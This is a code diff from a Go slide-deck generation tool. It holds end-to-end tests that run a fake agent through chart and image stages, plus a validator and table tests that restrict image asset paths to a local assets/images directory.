+	setStringInitOptionField(t, &opts, "Topic", "chart-only revenue comparison")
+	setStringInitOptionField(t, &opts, "AgentRuntime", "fake-agent")
+	setStringInitOptionField(t, &opts, "AgentID", "fake-agent-chart-e2e")
+
+	if err := InitRun("demo", opts); err != nil {
+		t.Fatalf("chart fake-agent init should succeed: %v", err)
+	}
+	if err := os.MkdirAll(filepath.Join("demo", "receipts", "prompt_context"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	setCurrentStageForStatusTest(t, StageAssets)
+	mustWriteTestFile(t, "demo/request/entity_resolution.json", `{"prompt_contract":`+promptContractJSON(StageRequestResolution)+`,"input_text":"chart-only revenue comparison","resolved_entity":{"name":"chart-only revenue comparison","type":"topic","confidence_bp":9000,"confidence_band":"high","reason":"chart-only E2E fixture"},"ambiguity":{"status":"resolved","candidates":[]},"research_required":true,"visual_quality_contract":{"profile":"data_report","requires_real_images":false,"required_chart_renderer":"vega-lite","min_chart_svg_assets":1,"min_vega_lite_specs":1,"reason":"chart-only E2E"},"clarification_question":""}`)
+	mustWriteTestFile(t, "demo/request/theme_contract.json", `{"prompt_contract":`+promptContractJSON(StageRequestResolution)+`,"theme_contract":{"content_type":{"primary":"data_report","secondary":["chart_only"]},"subject_type":{"primary":"topic","named_entity":false,"entity_name":"chart-only revenue comparison"},"delivery_format":{"primary":"self_read","density":"medium"},"evidence_type":{"primary":"quantitative_comparison","requires_sources":true},"asset_needs":{"requires_real_images":false,"required_roles":[],"min_real_image_pages":0,"min_dominant_real_image_pages":0,"min_unique_real_images":0,"cover_requires_dominant_real_image":false},"layout_rhythm":{"min_slide_count":1,"min_distinct_layout_archetypes":1,"max_adjacent_same_archetype":0,"required_page_roles":["cover","chart","closing"]},"typography_identity":{"profile":"data_report","display_category":"sans","body_category":"sans","number_category":"mono"},"quality_floor":{"profile":"chart_only","reason":"chart-only E2E fixture; no raster images required."},"rationale":"This fixture verifies Vega-Lite chart rendering without real image requirements."}}`)
+	mustWriteTestFile(t, "demo/research/sources.json", `{"prompt_contract":`+promptContractJSON(StageResearch)+`,"sources":[{"id":"web1","path":"https://example.com/filing","title":"Company filing","excerpt":"Segment revenue data","usage":"chart data","retrieval":"full_page"}]}`)
+	mustWriteTestFile(t, "demo/brief/visual_system.json", `{"color_system":{"background":"#FFFFFF","ink":"#111827","muted":"#6B7280","accent":"#76B900"},"typography":{"title":32,"body":16},"layout_language":"financial chart page"}`)
+	mustWriteTestFile(t, "demo/brief/visual_quality_contract.json", `{"visual_quality_contract":{"profile":"data_report","requires_real_images":false,"required_chart_renderer":"vega-lite","min_chart_svg_assets":1,"min_vega_lite_specs":1,"topic_archetype":"","media_pressure":{},"editorial_quality_target":{},"reason":"chart-only E2E fixture"}}`)
+	mustWriteTestFile(t, "demo/outline/deck.json", `{"prompt_contract":`+promptContractJSON(StageOutline)+`,"title":"Chart Deck","slides":[{"id":"s1","title":"Data center leads","summary":"Revenue mix comparison","role":"content","key_message":"Data center revenue leads the mix","path":"slides/01.svg"}]}`)
+	mustWriteTestFile(t, "demo/content/slide_copy_plan.json", `{"prompt_contract":`+promptContractJSON(StageSlideContent)+`,"slides":[{"id":"s1","audience_copy":{"title":"Data center leads","body":"Data center revenue leads the mix","labels":["Revenue $B","Source: web1"]},"production_instruction":{"layout":"Embed the rendered chart asset with rect role","asset_ids":["revenue_mix"]}}]}`)
+	mustWriteTestFile(t, "demo/content/slide_content.json", `{"prompt_contract":`+promptContractJSON(StageSlideContent)+`,"slides":[{"id":"s1","content":"Data center revenue leads the mix","central_claim":"Data center revenue is the dominant segment in this comparison.","audience_takeaway":"The audience should read the chart as a segment mix proof point, not decoration.","supporting_points":[{"text":"The chart compares reported segment revenue values from the filing source.","source_refs":["web1"]},{"text":"The data center bar is intentionally the visual anchor because it leads the mix.","source_refs":["web1"]}],"source_bound_facts":[{"fact":"Segment revenue data comes from the company filing source.","source_ref":"web1","usage":"visual_data"}],"visual_data_items":[{"label":"Data Center","value":"22.1","role":"metric","explanation":"Largest segment in the comparison.","source_ref":"web1"},{"label":"Gaming","value":"2.9","role":"metric","explanation":"Secondary segment for contrast.","source_ref":"web1"},{"label":"Professional Visualization","value":"0.5","role":"metric","explanation":"Smaller segment for scale context.","source_ref":"web1"}],"source_refs":["web1"],"visuals":[{"id":"revenue_mix","type":"chart","instruction":"Compare segment revenue"}],"so_what":"This proves the slide's message with a real quantitative relationship."}]}`)
+	mustWriteTestFile(t, "demo/assets/image_candidates.json", `{"prompt_contract":`+promptContractJSON(StageAssets)+`,"requires_real_images":false,"no_image_reason":"chart-only E2E fixture; no raster image required.","candidates":[]}`)
+	mustWriteTestFile(t, "demo/assets/assets_plan.json", `{"prompt_contract":`+promptContractJSON(StageAssets)+`,"mode":"experiment_unrestricted_assets","assets":[],"no_image_reason":"chart-only E2E fixture; no raster image required."}`)
+	mustWriteTestFile(t, "demo/assets/assets_manifest.json", `{"prompt_contract":`+promptContractJSON(StageAssets)+`,"assets":[],"no_image_reason":"chart-only E2E fixture; no raster image required."}`)
+	mustWriteTestFile(t, "demo/assets/asset_inventory.json", `{"prompt_contract":`+promptContractJSON(StageAssets)+`,"items":[]}`)
+	mustWriteTestFile(t, "demo/assets/charts/chart_briefs.json", `{"prompt_contract":`+promptContractJSON(StageAssets)+`,"charts":[{"id":"revenue_mix","slide_id":"s1","purpose":"comparison","takeaway":"Data center revenue leads the mix","renderer":"vega-lite","data_source_ids":["web1"],"unit":"$B","min_width":600,"min_height":320}]}`)
+	mustWriteTestFile(t, "demo/assets/charts/specs/revenue_mix.vl.json", `{"$schema":"https://vega.github.io/schema/vega-lite/v5.json","width":640,"height":360,"title":{"text":"Segment revenue comparison ($B)","subtitle":"Source: web1 company filing"},"data":{"values":[{"segment":"Data Center","revenue":22.1},{"segment":"Gaming","revenue":2.9},{"segment":"Professional Visualization","revenue":0.5}]},"mark":{"type":"bar","tooltip":true},"encoding":{"x":{"field":"segment","type":"nominal","sort":"-y","axis":{"title":"Segment"}},"y":{"field":"revenue","type":"quantitative","axis":{"title":"Revenue $B"}},"color":{"field":"segment","type":"nominal","legend":null}}}`)
+	mustWriteTestFile(t, "demo/assets/charts/chart_manifest.json", `{"prompt_contract":`+promptContractJSON(StageAssets)+`,"renderer":"vega-lite","charts":[{"id":"revenue_mix","slide_id":"s1","renderer":"vega-lite","brief_id":"revenue_mix","spec_path":"assets/charts/specs/revenue_mix.vl.json","svg_path":"assets/charts/revenue_mix.svg","source_id":"web1","unit":"$B","takeaway":"Data center revenue leads the mix","render_receipt":"receipts/chart_render.json"}]}`)
+
+	next, err := NextTask("demo")
+	if err != nil {
+		t.Fatalf("NextTask(%s): %v", StageAssets, err)
+	}
+	assertNextTaskHasRuntimeProtocolFields(t, next, StageAssets)
+	writeFakeAgentReceiptsFromNext(t, next)
+	status, err := CompleteCurrentStage("demo")
+	if err != nil {
+		t.Fatalf("complete %s: %v", StageAssets, err)
+	}
+	if status.CurrentStage != StageSVGAuthor {
+		t.Fatalf("CurrentStage = %q, want %q", status.CurrentStage, StageSVGAuthor)
+	}
+	if _, err := os.Stat(filepath.Join("demo", "assets", "charts", "revenue_mix.svg")); err != nil {
+		t.Fatalf("missing rendered chart SVG: %v", err)
+	}
+	var renderReport ChartRenderReport
+	raw, err := readRunRegularArtifact("demo", chartRenderReceiptPath)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := json.Unmarshal(raw, &renderReport); err != nil {
+		t.Fatal(err)
+	}
+	if renderReport.Status != "passed" || len(renderReport.Charts) != 1 {
+		t.Fatalf("chart render report = %+v, want one passed chart", renderReport)
+	}
+
+	next, err = NextTask("demo")
+	if err != nil {
+		t.Fatalf("NextTask(%s): %v", StageSVGAuthor, err)
+	}
+	assertNextTaskHasRuntimeProtocolFields(t, next, StageSVGAuthor)
+	writeFakeAgentReceiptsFromNext(t, next)
+	mustWriteTestFile(t, "demo/slides/01.svg", `<svg xmlns="http://www.w3.org/2000/svg" xmlns:slide="https://slides.bytedance.com/ns" width="960" height="540" slide:role="slide" viewBox="0 0 960 540"><slide:note>Source: web1</slide:note><rect width="960" height="540" fill="#fff"/>`+parserSafeTextBody()+`<rect slide:role="chart" href="../assets/charts/revenue_mix.svg" x="80" y="120" width="720" height="360"/></svg>`)
+	mustWriteTestFile(t, "demo/visual_receipts.json", `{"slides":[{"slide_id":"s1","story_job":"evidence","layout_family":"data_report","layout_archetype":"chart_forward","layout_signature":"hero_chart_with_title","thumbnail_job":"chart","visual_center":"Vega-Lite rendered revenue chart","topic_fit_claim":"uses chart evidence for revenue comparison","information_density_plan":"one chart plus one title","page_difference_from_previous":"single-slide chart fixture","primary_asset":"assets/charts/revenue_mix.svg","asset_role":"chart evidence","font_role_usage":{"display":"Noto Serif SC","body":"Noto Sans SC","number":"Roboto Mono","label":"Noto Sans SC"},"composition_intent":"chart-forward financial evidence","data_visual_rationale":"Revenue comparison needs a standard chart","source_evidence":["web1 supports revenue data"],"container_fit_plan":"chart has open canvas and title outside chart bounds","container_decision":"no text card needed","text_carrier":"axis_annotation","typography_role_usage":{"display":"Noto Serif SC","body":"Noto Sans SC","number":"Roboto Mono","label":"Noto Sans SC"},"shape_language":"chart_forward","card_budget":{"card_count":0,"why_cards_are_needed":"none"},"chart_receipt":{"chart_id":"revenue_mix","renderer":"vega-lite","unit":"$B","source":"web1","why_chart_is_needed":"compare segment revenue"},"fusion_spec":{"enabled":false},"qa_expectations":["chart is rendered asset, not hand drawn"]}]}`)
+
+	status, err = CompleteCurrentStage("demo")
+	if err != nil {
+		t.Fatalf("complete %s: %v", StageSVGAuthor, err)
+	}
+	if status.CurrentStage != StageValidatePreviewRepair {
+		t.Fatalf("CurrentStage = %q, want %q", status.CurrentStage, StageValidatePreviewRepair)
+	}
+	quality, err := CheckQuality("demo")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if quality.Status != "passed" {
+		t.Fatalf("quality = %+v, want passed", quality)
+	}
+	var usage ChartUsageReport
+	raw, err = readRunRegularArtifact("demo", chartUsageReceiptPath)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := json.Unmarshal(raw, &usage); err != nil {
+		t.Fatal(err)
+	}
+	if usage.Status != "passed" || len(usage.Charts) != 1 {
+		t.Fatalf("chart usage = %+v, want one passed chart", usage)
+	}
+}
+
+func TestE2EChineseTeaThemeContractQualityGate(t *testing.T) {
+	root := copySVGlideE2EFixtureToTempRun(t, "testdata/svglide/e2e/chinese_tea_minimal")
+	if err := ValidateStageOutputs(root); err != nil {
+		t.Fatalf("ValidateStageOutputs returned %v", err)
+	}
+	report, err := CheckQuality(root)
+	if err != nil {
+		t.Fatalf("CheckQuality returned %v", err)
+	}
+	if report.Status != "passed" {
+		t.Fatalf("quality status = %q, issues = %#v", report.Status, report.Issues)
+	}
+	if !report.Metrics.ThemeContractPresent || !report.Metrics.ThemeAssetNeedsApplied || report.Metrics.DominantRealImagePages < 3 {
+		t.Fatalf("metrics = %+v, want theme contract applied with at least 3 dominant real-image pages", report.Metrics)
+	}
+	creative, err := CheckCreativeQuality(root)
+	if err != nil {
+		t.Fatalf("CheckCreativeQuality returned %v", err)
+	}
+	if creative.Status != "passed" {
+		t.Fatalf("creative status = %q, issues = %#v", creative.Status, creative.Issues)
+	}
+}
+
+func TestE2EChineseTeaRejectsGenericVectorOnlyDeck(t *testing.T) {
+	root := copySVGlideE2EFixtureToTempRun(t, "testdata/svglide/e2e/chinese_tea_minimal")
+	mustWriteTestFile(t, filepath.Join(root, "assets", "assets_manifest.json"), `{"assets":[]}`)
+	mustWriteTestFile(t, filepath.Join(root, "assets", "asset_inventory.json"), `{"items":[]}`)
+	mustWriteTestFile(t, filepath.Join(root, "assets", "image_candidates.json"), `{"requires_real_images":true,"candidates":[]}`)
+
+	report, err := CheckQuality(root)
+	if err != nil {
+		t.Fatalf("CheckQuality returned %v", err)
+	}
+	if report.Status != "failed" || !qualityIssueCodesContain(report.Issues, "svglide.media_pressure.real_image_pages") {
+		t.Fatalf("report = %#v, want real-image media pressure failure", report)
+	}
+}
+
+func copySVGlideE2EFixtureToTempRun(t *testing.T, fixtureRel string) string {
+	t.Helper()
+	repoRoot, err := filepath.Abs(filepath.Join("..", ".."))
+	if err != nil {
+		t.Fatal(err)
+	}
+	cwd := t.TempDir()
+	t.Chdir(cwd)
+	writeDefaultSemanticContractForTest(t)
+	runRoot := filepath.Join(cwd, "fixture")
+	copyTestDir(t, filepath.Join(repoRoot, fixtureRel), runRoot)
+	for name, schema := range DefaultSchemas() {
+		mustWriteTestFile(t, filepath.Join("fixture", "schemas", name), schema)
+	}
+	return "fixture"
+}
+
+func assertNextTaskHasRuntimeProtocolFields(t *testing.T, next NextTaskReport, stage string) {
+	t.Helper()
+	raw, err := json.Marshal(next)
+	if err != nil {
+		t.Fatal(err)
+	}
+	var payload map[string]any
+	if err := json.Unmarshal(raw, &payload); err != nil {
+		t.Fatal(err)
+	}
+	if payload["protocol"] != "anygen-svg-slides" {
+		t.Fatalf("%s next.protocol = %v, want anygen-svg-slides", stage, payload["protocol"])
+	}
+	agentTask, ok := payload["agent_task"].(map[string]any)
+	if !ok {
+		t.Fatalf("%s next.agent_task missing: %+v", stage, payload)
+	}
+	if agentTask["stage"] != stage {
+		t.Fatalf("%s agent_task.stage = %v, want %s", stage, agentTask["stage"], stage)
+	}
+	if payload["prompt_context"] == nil || payload["tool_invocation_contract"] == nil {
+		t.Fatalf("%s next missing prompt_context/tool_invocation_contract: %+v", stage, payload)
+	}
+}
+
+func writeFakeAgentReceiptsFromNext(t *testing.T, next NextTaskReport) {
+	t.Helper()
+	raw, err := json.Marshal(next)
+	if err != nil {
+		t.Fatal(err)
+	}
+	var payload map[string]any
+	if err := json.Unmarshal(raw, &payload); err != nil {
+		t.Fatal(err)
+	}
+	toolContract, _ := payload["tool_invocation_contract"].(map[string]any)
+	for _, call := range callsFromContract(toolContract, "required_calls", "conditional_calls") {
+		id, _ := call["id"].(string)
+		if id == "" {
+			continue
+		}
+		writeToolCallReceiptFromContractForE2E(t, next, call)
+	}
+}
+
+func callsFromContract(contract map[string]any, keys ...string) []map[string]any {
+	out := []map[string]any{}
+	for _, key := range keys {
+		values, _ := contract[key].([]any)
+		for _, value := range values {
+			if object, ok := value.(map[string]any); ok {
+				out = append(out, object)
+			}
+		}
+	}
+	return out
+}
+
+func writeToolCallReceiptFromContractForE2E(t *testing.T, next NextTaskReport, call map[string]any) {
+	t.Helper()
+	id, _ := call["id"].(string)
+	promptID, _ := call["prompt_id"].(string)
+	if promptID == "" {
+		promptID = id
+	}
+	consumed := stringsFromJSONValue(call["consumes"])
+	if len(consumed) == 0 {
+		consumed = next.Inputs
+	}
+	produced := stringsFromJSONValue(call["produces"])
+	if len(produced) == 0 {
+		produced = next.Outputs
+	}
+	raw, err := json.MarshalIndent(map[string]any{
+		"protocol":          "anygen-svg-slides",
+		"stage":             next.Stage,
+		"call_id":           id,
+		"prompt_id":         promptID,
+		"invocation":        stringFromJSONValue(call["invocation"], "required"),
+		"condition":         stringFromJSONValue(call["condition"], "always"),
+		"condition_matched": true,
+		"order":             intFromJSONValue(call["order"]),
+		"cardinality":       stringFromJSONValue(call["cardinality"], "once"),
+		"consumed":          consumed,
+		"produced":          produced,
+		"status":            "done",
+	}, "", "  ")
+	if err != nil {
+		t.Fatal(err)
+	}
+	mustWriteTestFile(t, filepath.Join("demo", "receipts", "tool_calls", next.Stage, id+".json"), string(append(raw, '\n')))
+}
+
+func stringFromJSONValue(value any, fallback string) string {
+	if text, ok := value.(string); ok && text != "" {
+		return text
+	}
+	return fallback
+}
+
+func intFromJSONValue(value any) int {
+	switch typed := value.(type) {
+	case float64:
+		return int(typed)
+	case int:
+		return typed
+	default:
+		return 0
+	}
+}
+
+func stringsFromJSONValue(value any) []string {
+	values, _ := value.([]any)
+	out := make([]string, 0, len(values))
+	for _, item := range values {
+		if text, ok := item.(string); ok {
+			out = append(out, text)
+		}
+	}
+	return out
+}
+
+func writeFakeAgentStageArtifacts(t *testing.T, stage string) {
+	t.Helper()
+	switch stage {
+	case StageRequest:
+		return
+	case StageRequestResolution:
+		mustWriteTestFile(t, "demo/request/entity_resolution.json", `{"prompt_contract":`+promptContractJSON(StageRequestResolution)+`,"input_text":"介绍一部电影","resolved_entity":{"name":"介绍一部电影","type":"topic","confidence_bp":5000,"confidence_band":"medium","reason":"用户请求是开放主题，需要先研究确定内容方向"},"ambiguity":{"status":"resolved","candidates":[]},"research_required":true,"clarification_question":""}`)
+		mustWriteTestFile(t, "demo/request/theme_contract.json", validThemeContractJSON())
+	case StageResearch:
+		mustWriteTestFile(t, "demo/research/research_notes.md", "# 电影资料\n\n用户提供主题。")
+		mustWriteTestFile(t, "demo/research/sources.json", `{"prompt_contract":`+promptContractJSON(StageResearch)+`,"sources":[{"id":"user1","path":"topic://介绍一部电影","title":"用户主题","excerpt":"介绍一部电影","usage":"primary brief","retrieval":"user_provided"}]}`)
+		mustWriteTestFile(t, "demo/research/research_coverage.json", `{"prompt_contract":`+promptContractJSON(StageResearch)+`,"entity":{"name":"介绍一部电影","type":"topic"},"queries":[{"query":"介绍一部电影","purpose":"context"}],"sources":[{"id":"user1","title":"用户主题","url":"topic://介绍一部电影","retrieved_at":"2026-07-04T00:00:00Z","usage":"context","status":"retrieved"}],"coverage":{"identity_confirmed":false,"has_reliable_source":true,"minimum_source_count_met":true,"source_count":1,"topic_only_rationale":"开放主题需要用研究材料确定内容边界。"}}`)
+	case StageDesignBrief:
+		writeValidDesignBriefOutputs(t)
+	case StageOutline:
+		mustWriteTestFile(t, "demo/outline/deck.json", `{"prompt_contract":`+promptContractJSON(StageOutline)+`,"main_title":"电影介绍","style_instruction":{"aesthetic_direction":"Editorial cinematic deck","color_palette":{},"typography":{}},"slides":[{"id":"s1","title":"一部电影","summary":"用一个清晰观点介绍电影","role":"cover","key_message":"电影的核心吸引力","layout_family":"character_product_focus","layout_archetype":"annotated_image","layout_signature":"image_claim","story_function":"hook","primary_asset_role":"cinematic topic anchor","fusion_candidate":false,"path":"slides/01.svg"}]}`)
+	case StageSlideContent:
+		mustWriteTestFile(t, "demo/content/slide_content.md", "# 一部电影\n\n电影的核心吸引力。")
+		mustWriteTestFile(t, "demo/content/slide_copy_plan.json", `{"prompt_contract":`+promptContractJSON(StageSlideContent)+`,"slides":[{"id":"s1","audience_copy":{"title":"一部电影","body":"电影的核心吸引力","labels":["电影"]},"production_instruction":{"layout":"Use local hero image, no visible source note","asset_ids":["hero"]}}]}`)
+		mustWriteTestFile(t, "demo/content/slide_content.json", `{"prompt_contract":`+promptContractJSON(StageSlideContent)+`,"slides":[{"id":"s1","content":"电影的核心吸引力","central_claim":"这页用一个清晰观点说明电影为什么值得被介绍。","audience_takeaway":"观众应先获得电影主题的核心吸引力，再进入后续分析。","supporting_points":[{"text":"用户请求是介绍一部电影，因此封面需要先建立主题识别。","source_refs":["user1"]},{"text":"视觉和标题共同承担开场钩子，而不是只放一个片名。","source_refs":["user1"]}],"source_bound_facts":[{"fact":"用户主题要求生成电影介绍。","source_ref":"user1","usage":"context"}],"source_refs":["user1"],"visuals":[{"id":"hero","type":"image","instruction":"Use a cinematic hero image"}],"so_what":"这页应作为有观点的开场，而不是空泛标题页。"}]}`)
+	case StageAssets:
+		mustWriteTestFile(t, "demo/assets/image_candidates.json", `{"prompt_contract":`+promptContractJSON(StageAssets)+`,"requires_real_images":true,"candidates":[{"id":"cand-hero","query":"movie hero image","source_url":"https://example.com/movie-hero.png","source_class":"user_provided","format":"png","width":1200,"height":800,"has_alpha":false,"asset_role":"hero_photo","fit_role":"split_panel","local_path":"assets/images/movie-hero.png","score_bp":9000,"selected":true,"selection_reason":"user-provided cinematic hero image","format_exception_reason":"","rejection_reason":""}]}`)
+		mustWriteTestFile(t, "demo/assets/assets_plan.json", `{"prompt_contract":`+promptContractJSON(StageAssets)+`,"mode":"experiment_unrestricted_assets","assets":[{"id":"hero","slide_id":"s1","type":"image","path":"https://example.com/movie-hero.png","usage":"Cinematic hero image","status":"ready"}]}`)
+		mustWriteTestFile(t, "demo/assets/assets_manifest.json", `{"prompt_contract":`+promptContractJSON(StageAssets)+`,"mode":"experiment_unrestricted_assets","assets":[{"id":"hero","slide_id":"s1","kind":"image","source_url":"https://example.com/movie-hero.png","local_path":"assets/images/movie-hero.png","usage":"Cinematic hero image","status":"ready"}]}`)
+		mustWriteTestFile(t, "demo/assets/asset_inventory.json", `{"prompt_contract":`+promptContractJSON(StageAssets)+`,"items":[{"id":"hero","path":"assets/images/movie-hero.png","source_url":"https://example.com/movie-hero.png","width":1200,"height":800,"semantic_type":"hero","large_ok":true,"full_bleed_ok":false,"recommended_use":"cover split image","avoid_reason":"","format":"png","has_alpha":false,"asset_role":"hero_photo","fit_role":"split_panel","candidate_id":"cand-hero","selection_reason":"user-provided cinematic hero image","format_exception_reason":""}]}`)
+		mustWriteTestPNGFile(t, "demo/assets/images/movie-hero.png")
+	case StageSVGAuthor:
+		mustWriteTestFile(t, "demo/slides/01.svg", `<svg xmlns="http://www.w3.org/2000/svg" xmlns:slide="https://slides.bytedance.com/ns" width="960" height="540" slide:role="slide" viewBox="0 0 960 540"><slide:note>Source: user1</slide:note><rect width="960" height="540" fill="#fff"/><image slide:role="image" href="../assets/images/movie-hero.png" x="520" y="80" width="320" height="240"/><foreignObject x="48" y="72" width="360" height="120" slide:role="shape" slide:shape-type="text"><p xmlns="http://www.w3.org/1999/xhtml" style="margin:0;font-family:Inter,Arial,sans-serif;font-size:28px;line-height:1.25;color:#111;">电影介绍</p><p xmlns="http://www.w3.org/1999/xhtml" style="margin:12px 0 0 0;font-family:Inter,Arial,sans-serif;font-size:20px;line-height:1.35;color:#333;">电影的核心吸引力</p></foreignObject></svg>`)
+		mustWriteTestFile(t, "demo/visual_receipts.json", `{"slides":[{"slide_id":"s1","story_job":"hook","layout_family":"character_product_focus","layout_archetype":"annotated_image","layout_signature":"image_claim","thumbnail_job":"电影介绍","visual_center":"movie hero image and title","topic_fit_claim":"introduces the requested movie topic","information_density_plan":"one claim plus one visual anchor","page_difference_from_previous":"opening page","primary_asset":"assets/images/movie-hero.png","asset_role":"cinematic topic anchor","font_role_usage":{"display":"Noto Serif SC","body":"Noto Sans SC","number":"Roboto Mono","label":"Noto Sans SC"},"composition_intent":"image-led cinematic introduction","data_visual_rationale":"","source_evidence":["user1 supports the topic"],"container_fit_plan":"text sits in image-safe open area with no default card","container_decision":"image-led open composition","text_carrier":"image_dark_zone","typography_role_usage":{"display":"Noto Serif SC","body":"Noto Sans SC","number":"Roboto Mono","label":"Noto Sans SC"},"shape_language":"image_annotation","card_budget":{"card_count":0,"why_cards_are_needed":"none"},"chart_receipt":{"chart_id":"","renderer":"none","unit":"","source":"","why_chart_is_needed":""},"fusion_spec":{"enabled":false},"qa_expectations":["no visible process text"]}]}`)
+	default:
+		t.Fatalf("unexpected fake-agent stage %q", stage)
+	}
+}

internal/svglide/asset_path.go

@@ -0,0 +1,34 @@
+package svglide
+
+import (
+	"fmt"
+	"strings"
+)
+
+func validatePreparedImageAssetPath(raw string) (string, error) {
+	path := strings.TrimSpace(raw)
+	if path == "" {
+		return "", fmt.Errorf("image asset path must not be empty")
+	}
+	if strings.Contains(path, `\`) {
+		return "", fmt.Errorf("image asset path %q must use forward slashes", raw)
+	}
+	if strings.Contains(path, "%") {
+		return "", fmt.Errorf("image asset path %q must not contain percent encoding", raw)
+	}
+	if strings.Contains(path, ":") || strings.Contains(path, "//") || isAbsoluteRunPath(path) {
+		return "", fmt.Errorf("image asset path %q must be a local assets/images/<file> path", raw)
+	}
+	parts := strings.Split(path, "/")
+	if len(parts) != 3 || parts[0] != "assets" || parts[1] != "images" {
+		return "", fmt.Errorf("image asset path %q must match assets/images/<file>", raw)
+	}
+	fileName := parts[2]
+	if fileName == "" || fileName == "." || fileName == ".." {
+		return "", fmt.Errorf("image asset path %q must include a file name", raw)
+	}
+	if strings.HasPrefix(fileName, ".") || strings.Contains(fileName, "..") {
+		return "", fmt.Errorf("image asset file name %q must not contain dot segments", fileName)
+	}
+	return path, nil
+}

internal/svglide/asset_path_test.go

@@ -0,0 +1,46 @@
+package svglide
+
+import "testing"
+
+func TestValidatePreparedImageAssetPath(t *testing.T) {
+	tests := []struct {
+		name    string
+		path    string
+		want    string
+		wantErr bool
+	}{
+		{name: "valid", path: "assets/images/hero.png", want: "assets/images/hero.png"},
+		{name: "trim", path: " assets/images/hero.png ", want: "assets/images/hero.png"},
+		{name: "empty", path: "", wantErr: true},
+		{name: "remote", path: "https://example.com/hero.png", wantErr: true},
+		{name: "parent directory", path: "../hero.png", wantErr: true},
+		{name: "absolute", path: "/Users/example/hero.png", wantErr: true},
+		{name: "file url", path: "file:///tmp/hero.png", wantErr: true},
+		{name: "protocol relative", path: "//example.com/hero.png", wantErr: true},
+		{name: "data url", path: "data:image/png;base64,AAAA", wantErr: true},
+		{name: "percent", path: "assets/images/hero%2epng", wantErr: true},
+		{name: "nested", path: "assets/images/nested/hero.png", wantErr: true},
+		{name: "wrong directory", path: "assets/other/hero.png", wantErr: true},
+		{name: "leading dot", path: "assets/images/.hero.png", wantErr: true},
+		{name: "dot dot filename", path: "assets/images/hero..png", wantErr: true},
+		{name: "backslash", path: `assets\images\hero.png`, wantErr: true},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			got, err := validatePreparedImageAssetPath(tt.path)
+			if tt.wantErr {
+				if err == nil {
+					t.Fatalf("expected error, got path %q", got)
+				}
+				return
+			}
+			if err != nil {
+				t.Fatalf("unexpected error: %v", err)
+			}
+			if got != tt.want {
+				t.Fatalf("path = %q, want %q", got, tt.want)
+			}
+		})
+	}
+}

internal/svglide/assets.go

@@ -0,0 +1,236 @@
+package svglide
+
+import (
+	"encoding/json"
+	"fmt"
+	"net/url"
+	"path/filepath"
+	"strings"
+)
+
+const (
+	assetsPlanPath     = "assets/assets_plan.json"
+	assetsManifestPath = "assets/assets_manifest.json"
+	assetInventoryPath = "assets/asset_inventory.json"
+)
+
+type deckAssetsFile struct {
+	PromptContract json.RawMessage `json:"prompt_contract,omitempty"`
+	Assets         []deckAsset     `json:"assets"`
+	NoImageReason  string          `json:"no_image_reason"`
+	Mode           string          `json:"mode"`
+}
+
+type deckAsset struct {
+	ID            string `json:"id"`
+	SlideID       string `json:"slide_id"`
+	VisualID      string `json:"visual_id"`
+	Type          string `json:"type"`
+	Kind          string `json:"kind"`
+	Path          string `json:"path"`
+	LocalPath     string `json:"local_path"`
+	SourceURL     string `json:"source_url"`
+	Status        string `json:"status"`
+	Usage         string `json:"usage"`
+	MissingReason string `json:"missing_reason"`
+}
+
+type assetInventoryFile struct {
+	Items []assetInventoryItem `json:"items"`
+}
+
+type assetInventoryItem struct {
+	ID                    string `json:"id"`
+	Path                  string `json:"path"`
+	SourceURL             string `json:"source_url"`
+	Width                 int    `json:"width"`
+	Height                int    `json:"height"`
+	SemanticType          string `json:"semantic_type"`
+	LargeOK               bool   `json:"large_ok"`
+	FullBleedOK           bool   `json:"full_bleed_ok"`
+	RecommendedUse        string `json:"recommended_use"`
+	AvoidReason           string `json:"avoid_reason"`
+	Format                string `json:"format"`
+	HasAlpha              bool   `json:"has_alpha"`
+	AssetRole             string `json:"asset_role"`
+	FitRole               string `json:"fit_role"`
+	CandidateID           string `json:"candidate_id"`
+	SelectionReason       string `json:"selection_reason"`
+	FormatExceptionReason string `json:"format_exception_reason"`
+}
+
+func readDeckAssetsArtifact(safeRoot string, path string) (deckAssetsFile, error) {
+	raw, err := readRunRegularArtifact(safeRoot, path)
+	if err != nil {
+		return deckAssetsFile{}, err
+	}
+	var file deckAssetsFile
+	if err := json.Unmarshal(raw, &file); err != nil {
+		return deckAssetsFile{}, fmt.Errorf("read assets artifact %q: %w", path, err)
+	}
+	return file, nil
+}
+
+func readAssetInventory(safeRoot string) (assetInventoryFile, error) {
+	raw, err := readRunRegularArtifact(safeRoot, assetInventoryPath)
+	if err != nil {
+		return assetInventoryFile{}, fmt.Errorf("read asset inventory %q: %w", assetInventoryPath, err)
+	}
+	var inventory assetInventoryFile
+	if err := json.Unmarshal(raw, &inventory); err != nil {
+		return assetInventoryFile{}, fmt.Errorf("%s: invalid JSON: %w", assetInventoryPath, err)
+	}
+	return inventory, nil
+}
+
+func readAssetsManifest(safeRoot string) (deckAssetsFile, error) {
+	file, err := readDeckAssetsArtifact(safeRoot, assetsManifestPath)
+	if err != nil {
+		return deckAssetsFile{}, fmt.Errorf("read assets manifest %q: %w", assetsManifestPath, err)
+	}
+	file, changed, err := normalizeAssetsManifestFromPlan(safeRoot, file)
+	if err != nil {
+		return deckAssetsFile{}, err
+	}
+	if changed {
+		target, err := ensureRunFileTargetForWrite(safeRoot, assetsManifestPath)
+		if err != nil {
+			return deckAssetsFile{}, err
+		}
+		if err := writeJSON(target, file); err != nil {
+			return deckAssetsFile{}, err
+		}
+	}
+	return file, nil
+}
+
+func normalizeAssetsManifestFromPlan(safeRoot string, manifest deckAssetsFile) (deckAssetsFile, bool, error) {
+	plan, err := readDeckAssetsArtifact(safeRoot, assetsPlanPath)
+	if err != nil {
+		return manifest, false, nil
+	}
+	changed := false
+	if len(manifest.PromptContract) == 0 && len(plan.PromptContract) > 0 {
+		manifest.PromptContract = plan.PromptContract
+		changed = true
+	}
+	if strings.TrimSpace(manifest.Mode) == "" && strings.TrimSpace(plan.Mode) != "" {
+		manifest.Mode = plan.Mode
+		changed = true
+	}
+	if strings.TrimSpace(manifest.NoImageReason) == "" && strings.TrimSpace(plan.NoImageReason) != "" {
+		manifest.NoImageReason = plan.NoImageReason
+		changed = true
+	}
+	existing := make(map[string]bool, len(manifest.Assets))
